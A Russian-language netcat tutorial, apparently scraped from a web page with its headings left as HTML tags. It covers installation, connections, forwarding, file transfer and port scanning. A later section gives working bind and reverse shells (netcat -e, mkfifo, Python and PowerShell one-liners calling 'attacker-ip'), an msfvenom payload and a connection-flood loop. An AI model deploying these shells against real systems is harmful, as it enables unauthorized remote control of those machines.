NETCAT: Полное руководство по сетевому подключению и перенаправлению

- Создание клиентских подключений

- Создание серверов для прослушивания

- Работа с любыми портами

- Поддержка IPv4 и IPv6 (в расширенных версиях)

- Прокси функциональность

- Port forwarding

- Туннелирование трафика

- Создание цепочек перенаправлений

- Передача файлов по сети

- Streaming данных

- Piping стандартных потоков

- Бинарная передача

- Проверка открытых портов

- Banner grabbing

- Протокольное тестирование

- Сетевое сканирование

<h2 id="obnovlenie-spiska-paketov">Обновление списка пакетов</h2>

sudo apt update



<h2 id="ustanovka-netcat">Установка netcat</h2>

sudo apt install netcat



<h2 id="ili-netcat-openbsd-rekomenduetsya">Или netcat-openbsd (рекомендуется)</h2>

sudo apt install netcat-openbsd



<h2 id="proverka-versii">Проверка версии</h2>

nc -h

<h2 id="centos-rhel">CentOS/RHEL</h2>

sudo yum install nc



<h2 id="fedora">Fedora</h2>

sudo dnf install nc



<h2 id="proverka">Проверка</h2>

nc -h

sudo pacman -S gnu-netcat



<h2 id="ili-openbsd-netcat">Или openbsd-netcat</h2>

sudo pacman -S openbsd-netcat

<h2 id="skachat-ishodniki">Скачать исходники</h2>

wget https://github.com/diegocr/netcat/archive/refs/heads/master.zip

unzip master.zip

cd netcat-master



<h2 id="kompilyatsiya">Компиляция</h2>

./configure

make

sudo make install

<h2 id="ncat-vhodit-v-sostav-nmap">Ncat входит в состав Nmap</h2>

<h2 id="skachat-nmap-s-ofitsialnogo-sayta">Скачать Nmap с официального сайта</h2>

<h2 id="https-nmap-org-download-html">https://nmap.org/download.html</h2>




<h2 id="posle-ustanovki-nmap-ncat-dostupen-v">После установки Nmap, ncat доступен в:</h2>

C:\Program Files (x86)\Nmap\ncat.exe



<h2 id="dobavit-v-path-dlya-udobstva">Добавить в PATH для удобства</h2>

<h2 id="skachat-s-github-ili-drugih-istochnikov">Скачать с GitHub или других источников</h2>

<h2 id="https-github-com-int0x33-nc-exe">https://github.com/int0x33/nc.exe</h2>




<h2 id="ispolzovanie">Использование</h2>

.\nc.exe -h

<h2 id="ustanovit-cygwin">Установить Cygwin</h2>

<h2 id="vybrat-netcat-v-paketah">Выбрать netcat в пакетах</h2>

<h2 id="ispolzovanie-cherez-cygwin-terminal">Использование через Cygwin терминал</h2>

nc -h

<h2 id="ustanovit-wsl">Установить WSL</h2>

wsl --install



<h2 id="v-linux-podsisteme-ustanovit-netcat">В Linux подсистеме установить netcat</h2>

sudo apt update && sudo apt install netcat

<h2 id="ustanovka-homebrew-esli-ne-ustanovlen">Установка Homebrew (если не установлен)</h2>

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"



<h2 id="ustanovka-netcat">Установка netcat</h2>

brew install netcat



<h2 id="proverka">Проверка</h2>

nc -h

<h2 id="ustanovka-macports">Установка MacPorts</h2>

<h2 id="skachat-s-macports-org">Скачать с macports.org</h2>




<h2 id="ustanovka-netcat">Установка netcat</h2>

sudo port install netcat



<h2 id="proverka">Проверка</h2>

nc -h

<h2 id="macos-vklyuchaet-bazovuyu-versiyu-netcat">macOS включает базовую версию netcat</h2>

<h2 id="proverka-nalichiya">Проверка наличия</h2>

which nc



<h2 id="ispolzovanie">Использование</h2>

nc -h

<h2 id="proverka-versii">Проверка версии</h2>

nc -h



<h2 id="ili-bolee-podrobnaya-informatsiya">Или более подробная информация</h2>

nc -v



<h2 id="proverka-funktsionalnosti">Проверка функциональности</h2>

echo "test" | nc localhost 80

<h2 id="linux">Linux</h2>

nc -h | grep version



<h2 id="windows-ncat">Windows (Ncat)</h2>

ncat --version



<h2 id="macos">macOS</h2>

nc -h | head -n 1

nc [опции] [хост] [порт]

-l              # Listen режим (сервер)

-p [порт]       # Локальный порт (устарело в некоторых версиях)

-s [IP]         # Локальный IP адрес

-u              # UDP режим

-v              # Verbose (подробный вывод)

-vv             # Очень подробный вывод

-w [секунды]    # Timeout для подключения

-n              # Не использовать DNS

-z              # Сканирование портов (без передачи данных)

-e [программа]  # Выполнить программу после подключения

-c [команда]    # Выполнить команду (OpenBSD версия)

-X [версия]     # Версия SOCKS прокси

-x [прокси]     # SOCKS или HTTP прокси

<h2 id="podklyuchenie-k-serveru">Подключение к серверу</h2>

nc example.com 80



<h2 id="s-udp">С UDP</h2>

nc -u example.com 53



<h2 id="bez-dns-rezolyutsii">Без DNS резолюции</h2>

nc -n 192.168.1.1 80

<h2 id="proslushivanie-na-portu">Прослушивание на порту</h2>

nc -l 12345



<h2 id="s-ukazaniem-ip-adresa">С указанием IP адреса</h2>

nc -l -s 192.168.1.100 12345



<h2 id="udp-listener">UDP listener</h2>

nc -l -u 12345

<h2 id="proksi-rezhim">Прокси режим</h2>

nc -l 8080 | nc example.com 80



<h2 id="s-perenapravleniem">С перенаправлением</h2>

nc -l 8080 < input.txt | nc example.com 80 > output.txt

<h2 id="proverka-dostupnosti-porta">Проверка доступности порта</h2>

nc -zv example.com 80



<h2 id="mnozhestvennye-porty-skript">Множественные порты (скрипт)</h2>

for port in {80,443,22,21}; do

  nc -zv example.com $port

done

<h2 id="na-servere">На сервере</h2>

nc -l 12345



<h2 id="na-kliente">На клиенте</h2>

nc server-ip 12345

<h2 id="podklyuchenie-i-poluchenie-bannera">Подключение и получение баннера</h2>

echo "" | nc -v -n -w1 192.168.1.1 22

<h2 id="podklyuchenie-k-veb-serveru">Подключение к веб-серверу</h2>

nc example.com 80



<h2 id="posle-podklyucheniya-mozhno-otpravlyat-http-zaprosy">После подключения можно отправлять HTTP запросы:</h2>

GET / HTTP/1.1

Host: example.com



<h2 id="poluchenie-otveta">Получение ответа</h2>

<h2 id="podklyuchenie-s-taymautom-5-sekund">Подключение с таймаутом 5 секунд</h2>

nc -w 5 example.com 80

<h2 id="podrobnyy-vyvod-o-podklyuchenii">Подробный вывод о подключении</h2>

nc -v example.com 80



<h2 id="ochen-podrobnyy-vyvod">Очень подробный вывод</h2>

nc -vv example.com 80

<h2 id="ispolzovanie-ip-adresa-napryamuyu">Использование IP адреса напрямую</h2>

nc -n 192.168.1.1 80

<h2 id="proslushivanie-na-portu-12345">Прослушивание на порту 12345</h2>

nc -l 12345



<h2 id="klient-mozhet-podklyuchitsya">Клиент может подключиться:</h2>

nc server-ip 12345

<h2 id="slushat-na-konkretnom-interfeyse">Слушать на конкретном интерфейсе</h2>

nc -l -s 192.168.1.100 12345

<h2 id="server-prinimaet-dannye-v-fayl">Сервер принимает данные в файл</h2>

nc -l 12345 > received_data.txt



<h2 id="server-otpravlyaet-soderzhimoe-fayla">Сервер отправляет содержимое файла</h2>

nc -l 12345 < data_to_send.txt

<h2 id="nekotorye-versii-podderzhivayut-k-optsiyu">Некоторые версии поддерживают -k опцию</h2>

nc -lk 12345

<h2 id="na-servere">На сервере</h2>

nc -l 12345



<h2 id="na-kliente">На клиенте</h2>

nc server-ip 12345

<h2 id="vvodit-tekst-server-budet-videt-ego">Вводить текст, сервер будет видеть его</h2>

<h2 id="server-vypolnyaet-komandy-linux">Сервер выполняет команды (Linux)</h2>

nc -l -e /bin/bash 12345



<h2 id="klient-podklyuchaetsya-i-mozhet-vypolnyat-komandy">Клиент подключается и может выполнять команды</h2>

nc server-ip 12345

<h2 id="prostoy-http-otvet">Простой HTTP ответ</h2>

echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Hello</h1>" | nc -l 8080

#!/bin/bash

HOST="example.com"

PORT=80



if nc -z -w5 "$HOST" "$PORT"; then

    echo "Порт $PORT на $HOST открыт"

else

    echo "Порт $PORT на $HOST недоступен"

fi

#!/bin/bash

while true; do

    nc example.com 80 <<EOF

GET / HTTP/1.1

Host: example.com



EOF

    sleep 5

done

<h2 id="udp-klient">UDP клиент</h2>

nc -u example.com 53



<h2 id="otpravka-dannyh">Отправка данных</h2>

echo "test data" | nc -u example.com 53

<h2 id="proslushivanie-udp-na-portu">Прослушивание UDP на порту</h2>

nc -l -u 12345



<h2 id="klient-otpravlyaet-dannye">Клиент отправляет данные</h2>

echo "message" | nc -u server-ip 12345

- Нет установления соединения

- Нет гарантии доставки

- Нет порядка пакетов

- Более низкая задержка

<h2 id="otpravka-dns-zaprosa">Отправка DNS запроса</h2>

echo -en "\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www\x07example\x03com\x00\x00\x01\x00\x01" | nc -u 8.8.8.8 53

<h2 id="na-servere">На сервере</h2>

nc -l -u 12345



<h2 id="na-kliente">На клиенте</h2>

nc -u server-ip 12345

<h2 id="proverka-udp-portov">Проверка UDP портов</h2>

nc -u -z -v example.com 53

nc -u -z -v example.com 123  # NTP

<h2 id="proslushivanie-i-vyvod-vsego-chto-polucheno">Прослушивание и вывод всего что получено</h2>

nc -l 12345



<h2 id="s-podrobnym-vyvodom">С подробным выводом</h2>

nc -lv 12345

<h2 id="sohranenie-dannyh-v-fayl">Сохранение данных в файл</h2>

nc -l 12345 > received_data.log



<h2 id="s-vremennoy-metkoy-cherez-skript">С временной меткой (через скрипт)</h2>

nc -l 12345 | while read line; do

    echo "$(date): $line" >> log.txt

done

<h2 id="otpravka-fayla-kazhdomu-podklyuchivshemusya">Отправка файла каждому подключившемуся</h2>

while true; do

    nc -l 12345 < file_to_send.txt

done

<h2 id="ispolzovanie-xinetd-ili-systemd-dlya-postoyannogo-listener">Использование xinetd или systemd для постоянного listener</h2>

<h2 id="ili-skript">Или скрипт:</h2>

while true; do

    nc -l 12345 -c "handle_connection.sh"

done

<h2 id="listener-s-obrabotkoy-dannyh">Listener с обработкой данных</h2>

nc -l 12345 | while IFS= read -r line; do

    echo "Получено: $line"

    # Обработка данных

done

<h2 id="ogranichenie-dostupa-po-ip-cherez-firewall">Ограничение доступа по IP (через firewall)</h2>

<h2 id="ili-cherez-wrapper-skript-s-proverkoy-ip">Или через wrapper скрипт с проверкой IP</h2>

<h2 id="proslushivanie-i-logirovanie">Прослушивание и логирование</h2>

nc -l -v 12345 2>&1 | tee network_activity.log

<h2 id="poluchenie-faylov-ot-udalyonnyh-sistem">Получение файлов от удалённых систем</h2>

nc -l 12345 > evidence_file.bin

<h2 id="monitoring-podklyucheniy">Мониторинг подключений</h2>

while true; do

    echo "$(date): Ожидание подключения на порту 12345"

    nc -l 12345 >> connections.log

done

<h2 id="perenapravlenie-porta-8080-na-example-com-80">Перенаправление порта 8080 на example.com:80</h2>

nc -l 8080 | nc example.com 80



<h2 id="v-obratnom-napravlenii-tozhe">В обратном направлении тоже</h2>

nc -l 8080 < input | nc example.com 80 | nc -l 8080 > output

<h2 id="prinimat-na-lokalnom-portu-i-perenapravlyat-udalyonno">Принимать на локальном порту и перенаправлять удалённо</h2>

nc -l 8080 -c "nc example.com 80"

<h2 id="podklyuchitsya-k-udalyonnomu-serveru-i-perenapravit-lokalnyy-port">Подключиться к удалённому серверу и перенаправить локальный порт</h2>

nc example.com 80 -c "nc -l 8080"

<h2 id="na-storone-a">На стороне A</h2>

nc -l 12345



<h2 id="na-storone-b-tunnel-cherez-promezhutochnyy-server">На стороне B (туннель через промежуточный сервер)</h2>

nc intermediate-server 12345 | nc final-destination 80

<h2 id="sozdanie-reverse-tunnel">Создание reverse tunnel</h2>

<h2 id="na-tselevom-servere">На целевом сервере</h2>

nc -l 12345 -e /bin/bash



<h2 id="na-vashem-kompyutere">На вашем компьютере</h2>

nc target-server 12345

<h2 id="tsepochka-perenapravleniy">Цепочка перенаправлений</h2>

nc -l 8080 | nc intermediate 8081 | nc target 80

<h2 id="esli-pryamoy-dostup-k-portu-zablokirovan">Если прямой доступ к порту заблокирован</h2>

<h2 id="ispolzovat-promezhutochnyy-server">Использовать промежуточный сервер</h2>




<h2 id="na-promezhutochnom-servere">На промежуточном сервере</h2>

nc -l 8080 | nc target-server 80



<h2 id="podklyuchatsya-k-promezhutochnomu-serveru">Подключаться к промежуточному серверу</h2>

nc intermediate-server 8080

<h2 id="cherez-jump-host">Через jump host</h2>

ssh -L 8080:internal-server:80 jump-host



<h2 id="ili-cherez-netcat">Или через netcat</h2>

nc jump-host 8080 | nc internal-server 80

<h2 id="prostoy-http-proksi">Простой HTTP прокси</h2>

while true; do

    nc -l 8080 | nc destination-server 80

done

<h2 id="na-servere-poluchatel">На сервере (получатель)</h2>

nc -l 12345 > received_file.txt



<h2 id="na-kliente-otpravitel">На клиенте (отправитель)</h2>

nc server-ip 12345 < file_to_send.txt

<h2 id="otpravka-s-pokazom-progressa">Отправка с показом прогресса</h2>

cat large_file.bin | pv | nc server-ip 12345



<h2 id="na-servere">На сервере</h2>

nc -l 12345 | pv > received_file.bin

<h2 id="sozdanie-arhiva-i-peredacha">Создание архива и передача</h2>

tar czf - directory/ | nc server-ip 12345



<h2 id="na-servere">На сервере</h2>

nc -l 12345 | tar xzf -

<h2 id="otpravka-zashifrovannogo-fayla">Отправка зашифрованного файла</h2>

gpg -c file.txt | nc server-ip 12345



<h2 id="na-servere">На сервере</h2>

nc -l 12345 | gpg -d > decrypted_file.txt

<h2 id="otpravka-fayla-i-hesha">Отправка файла и хеша</h2>

{ cat file.txt; md5sum file.txt; } | nc server-ip 12345



<h2 id="na-servere">На сервере</h2>

nc -l 12345 | tee received.txt | tail -n 1 > received_hash.txt

md5sum received.txt  # Сравнить с received_hash.txt

<h2 id="otpravka-s-razbieniem">Отправка с разбиением</h2>

split -b 100M large_file.bin part_

for part in part_*; do

    cat $part | nc server-ip 12345

done



<h2 id="na-servere-sobirat-chasti">На сервере собирать части</h2>

nc -l 12345 > part_aa

nc -l 12345 > part_ab

<h2 id="">...</h2>

cat part_* > complete_file.bin

<h2 id="otpravka-s-kompressiey">Отправка с компрессией</h2>

tar czf - large_directory/ | nc server-ip 12345



<h2 id="priyom">Приём</h2>

nc -l 12345 | tar xzf -

<h2 id="skript-dlya-dvustoronney-peredachi">Скрипт для двусторонней передачи</h2>

<h2 id="na-servere">На сервере</h2>

nc -l 12345 | tee received.txt | nc client-ip 54321



<h2 id="na-kliente">На клиенте</h2>

nc server-ip 12345 < to_send.txt | tee received.txt

<h2 id="na-tselevoy-sisteme-linux">На целевой системе (Linux)</h2>

nc -l -e /bin/bash 12345



<h2 id="na-atakuyuschey-sisteme">На атакующей системе</h2>

nc target-ip 12345

<h2 id="teper-mozhno-vypolnyat-komandy">Теперь можно выполнять команды</h2>

nc -l -e cmd.exe 12345



<h2 id="podklyuchenie">Подключение</h2>

nc target-ip 12345

<h2 id="slushat-na-konkretnom-interfeyse">Слушать на конкретном интерфейсе</h2>

nc -l -s 192.168.1.100 -e /bin/bash 12345

<h2 id="na-atakuyuschey-sisteme-listener">На атакующей системе (listener)</h2>

nc -l 12345



<h2 id="na-tselevoy-sisteme">На целевой системе</h2>

nc attacker-ip 12345 -e /bin/bash

<h2 id="variant-1-bez-e-optsii">Вариант 1: Без -e опции</h2>

rm /tmp/f; mkfifo /tmp/f

cat /tmp/f | /bin/sh -i 2>&1 | nc attacker-ip 12345 > /tmp/f



<h2 id="variant-2-python">Вариант 2: Python</h2>

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker-ip",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

<h2 id="na-atakuyuschey-sisteme">На атакующей системе</h2>

nc -l 12345



<h2 id="na-tselevoy-sisteme-powershell">На целевой системе (PowerShell)</h2>

$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',12345);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

<h2 id="listener-s-obrabotkoy">Listener с обработкой</h2>

nc -l 12345 | while read line; do

    echo "[$(date)]: $line"

done

<h2 id="sohranenie-vseh-komand-i-vyvodov">Сохранение всех команд и выводов</h2>

script session.log -c "nc -l 12345"

<h2 id="pokazat-sudu-kak-rabotaet-reverse-shell">Показать суду как работает reverse shell</h2>

<h2 id="ispolzovat-v-controlled-environment">Использовать в controlled environment</h2>

<h2 id="dostup-k-udalyonnoy-sisteme-dlya-izvlecheniya-dannyh">Доступ к удалённой системе для извлечения данных</h2>

<h2 id="posle-polucheniya-razresheniya">После получения разрешения</h2>

<h2 id="proverka-odnogo-porta">Проверка одного порта</h2>

nc -zv example.com 80



<h2 id="s-timeout">С timeout</h2>

nc -zv -w 3 example.com 80

<h2 id="bash-skript-dlya-skanirovaniya">Bash скрипт для сканирования</h2>

for port in {1..1000}; do

    nc -zv -w 1 example.com $port 2>&1 | grep -i succeeded

done

<h2 id="s-ispolzovaniem-xargs-dlya-parallelizma">С использованием xargs для параллелизма</h2>

seq 1 1000 | xargs -P 50 -I {} nc -zv -w 1 example.com {} 2>&1 | grep -i succeeded

<h2 id="podklyuchenie-i-poluchenie-http-zagolovkov">Подключение и получение HTTP заголовков</h2>

echo -e "HEAD / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

<h2 id="poluchenie-ssh-bannera">Получение SSH баннера</h2>

nc -v example.com 22

<h2 id="poluchenie-ftp-bannera">Получение FTP баннера</h2>

nc -v example.com 21

#!/bin/bash

HOST=$1

PORTS=(21 22 23 25 80 443 3306)



for port in "${PORTS[@]}"; do

    echo "Проверка $HOST:$port"

    nc -zv -w 2 $HOST $port 2>&1 | head -n 1

done

<h2 id="podklyuchenie-k-smtp-i-poluchenie-bannera">Подключение к SMTP и получение баннера</h2>

nc example.com 25

<h2 id="proverka-mysql-porta">Проверка MySQL порта</h2>

nc -zv example.com 3306

<h2 id="redis-komanda-cherez-netcat">Redis команда через netcat</h2>

echo "PING" | nc example.com 6379

<h2 id="monitoring-konkretnogo-porta">Мониторинг конкретного порта</h2>

while true; do

    nc -l -v 12345 2>&1 | tee -a connections.log

done

<h2 id="perehvat-i-analiz-v-kombinatsii-s-drugimi-instrumentami">Перехват и анализ (в комбинации с другими инструментами)</h2>

nc -l 12345 | strings | grep -i password

<h2 id="na-ekspertnom-kompyutere">На экспертном компьютере</h2>

nc -l 12345 > evidence.tar.gz



<h2 id="na-udalyonnoy-sisteme-s-razresheniem">На удалённой системе (с разрешением)</h2>

tar czf - /path/to/evidence/ | nc expert-ip 12345

<h2 id="na-ekspertnom-kompyutere">На экспертном компьютере</h2>

nc -l 12345 | dd of=remote_disk_image.img



<h2 id="na-udalyonnoy-sisteme">На удалённой системе</h2>

dd if=/dev/sda | nc expert-ip 12345

<h2 id="peredacha-sistemnyh-logov">Передача системных логов</h2>

tail -f /var/log/syslog | nc expert-ip 12345

<h2 id="opredelenie-kakie-porty-otkryty-na-podozrevaemoy-sisteme">Определение какие порты открыты на подозреваемой системе</h2>

for port in {1..65535}; do

    nc -zv target-ip $port 2>&1 | grep succeeded >> open_ports.txt

done

<h2 id="monitoring-aktivnyh-podklyucheniy">Мониторинг активных подключений</h2>

netstat -an | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c

<h2 id="testirovanie-dostupnosti-portov-cherez-firewall">Тестирование доступности портов через firewall</h2>

nc -zv -w 2 target-ip 22

nc -zv -w 2 target-ip 80

nc -zv -w 2 target-ip 443

<h2 id="demonstratsiya-vozmozhnosti-podklyucheniya">Демонстрация возможности подключения</h2>

<h2 id="ispolzovat-tolko-v-controlled-environment-s-razresheniem">Использовать ТОЛЬКО в controlled environment с разрешением</h2>




<h2 id="prostaya-flood-ataka-dlya-demonstratsii">Простая flood атака (для демонстрации)</h2>

for i in {1..100}; do

    nc target-ip 80 &

done

<h2 id="pokazat-kak-rabotaet-uyazvimost">Показать как работает уязвимость</h2>

<h2 id="vsegda-s-razresheniem-i-dokumentatsiey">Всегда с разрешением и документацией</h2>

<h2 id="sohranenie-vseh-setevyh-operatsiy">Сохранение всех сетевых операций</h2>

script investigation.log -c "nc -v target-ip 80"



<h2 id="logirovanie-banner-grabbing">Логирование banner grabbing</h2>

{

    echo "=== Port Scanning Results ==="

    date

    nc -zv target-ip 80

    nc -zv target-ip 443

    echo "=== End of Scan ==="

} >> network_analysis.log

<h2 id="nmap-skanirovanie-netcat-proverka">Nmap сканирование + Netcat проверка</h2>

nmap -p 80,443,22 target-ip



<h2 id="detalnaya-proverka-naydennyh-portov">Детальная проверка найденных портов</h2>

for port in $(nmap -p- target-ip | grep open | cut -d/ -f1); do

    echo "=== Port $port ==="

    nc -zv target-ip $port

done

<h2 id="zapustit-wireshark-dlya-perehvata">Запустить Wireshark для перехвата</h2>

<h2 id="zatem-ispolzovat-netcat-dlya-generatsii-trafika">Затем использовать netcat для генерации трафика</h2>

nc target-ip 80

<h2 id="generatsiya-netcat-payload-cherez-metasploit">Генерация netcat payload через Metasploit</h2>

msfvenom -p cmd/unix/reverse_netcat LHOST=attacker-ip LPORT=12345 R

<h2 id="vstroit-netcat-v-metasploit-modul">Встроить netcat в Metasploit модуль</h2>

<h2 id="dlya-polucheniya-shell-posle-ekspluatatsii">Для получения shell после эксплуатации</h2>

#!/bin/bash

<h2 id="skript-dlya-avtomaticheskogo-sbora-dannyh">Скрипт для автоматического сбора данных</h2>




HOST="target-ip"

PORTS=(22 80 443 3306)



for port in "${PORTS[@]}"; do

    if nc -zv -w 2 $HOST $port 2>&1 | grep -q succeeded; then

        echo "Port $port открыт"

        # Дополнительные действия

    fi

done

import subprocess

import sys



def check_port(host, port):

    result = subprocess.run(

        ['nc', '-zv', '-w', '2', host, str(port)],

        capture_output=True,

        text=True

    )

    return 'succeeded' in result.stderr



<h2 id="ispolzovanie">Использование</h2>

if check_port('example.com', 80):

    print("Порт 80 открыт")

#!/bin/bash

<h2 id="auto-connect-sh">auto_connect.sh</h2>




HOST=$1

PORT=$2



while true; do

    nc $HOST $PORT <<EOF

команда1

команда2

EOF

    sleep 5

done

#!/bin/bash

<h2 id="monitor-sh">monitor.sh</h2>




HOST="target-ip"

PORT=80



while true; do

    if ! nc -zv -w 2 $HOST $PORT 2>&1 | grep -q succeeded; then

        echo "$(date): Порт $PORT недоступен" >> monitor.log

    fi

    sleep 60

done

<h2 id="sozdanie-imenovannogo-kanala">Создание именованного канала</h2>

mkfifo backpipe



<h2 id="netcat-s-ispolzovaniem-fifo">Netcat с использованием FIFO</h2>

nc -l 12345 0<backpipe | nc target-ip 8080 | tee backpipe

<h2 id="prohodya-cherez-neskolko-serverov">Проходя через несколько серверов</h2>

nc server1 12345 | nc server2 54321 | nc final-destination 80

<h2 id="parallelnye-podklyucheniya">Параллельные подключения</h2>

nc server1 12345 &

nc server2 12345 &

nc server3 12345 &

wait

<h2 id="cherez-ssh-tunnel">Через SSH туннель</h2>

ssh -L 8080:localhost:12345 user@jump-host

<h2 id="zatem">Затем</h2>

nc localhost 8080

<h2 id="sozdanie-prostogo-socks-proxy">Создание простого SOCKS proxy</h2>

<h2 id="trebuetsya-dopolnitelnaya-nastroyka">Требуется дополнительная настройка</h2>

#!/bin/bash

<h2 id="robust-netcat-sh">robust_netcat.sh</h2>




connect_with_retry() {

    local host=$1

    local port=$2

    local max_attempts=3

    local attempt=1



    while [ $attempt -le $max_attempts ]; do

        if nc -zv -w 2 $host $port 2>&1 | grep -q succeeded; then

            nc $host $port

            return 0

        fi

        echo "Попытка $attempt неудачна, повтор через 5 секунд..."

        sleep 5

        ((attempt++))

    done

    echo "Не удалось подключиться после $max_attempts попыток"

    return 1

}



connect_with_retry "example.com" 80

<h2 id="ispolzovat-firewall-dlya-ogranicheniya">Использовать firewall для ограничения</h2>

<h2 id="tolko-razreshyonnye-ip-mogut-podklyuchatsya">Только разрешённые IP могут подключаться</h2>




<h2 id="iptables-primer">iptables пример</h2>

iptables -A INPUT -p tcp --dport 12345 -s 192.168.1.0/24 -j ACCEPT

iptables -A INPUT -p tcp --dport 12345 -j DROP

<h2 id="ispolzovat-netcat-cherez-ssh-tunnel">Использовать Netcat через SSH туннель</h2>

ssh -L 12345:localhost:12345 user@server

<h2 id="zatem-ispolzovat-lokalnyy-port-s-shifrovaniem">Затем использовать локальный порт с шифрованием</h2>

<h2 id="vsegda-ispolzovat-vpn-dlya-zaschity-trafika">Всегда использовать VPN для защиты трафика</h2>

<h2 id="osobenno-pri-rabote-s-udalyonnymi-sistemami">Особенно при работе с удалёнными системами</h2>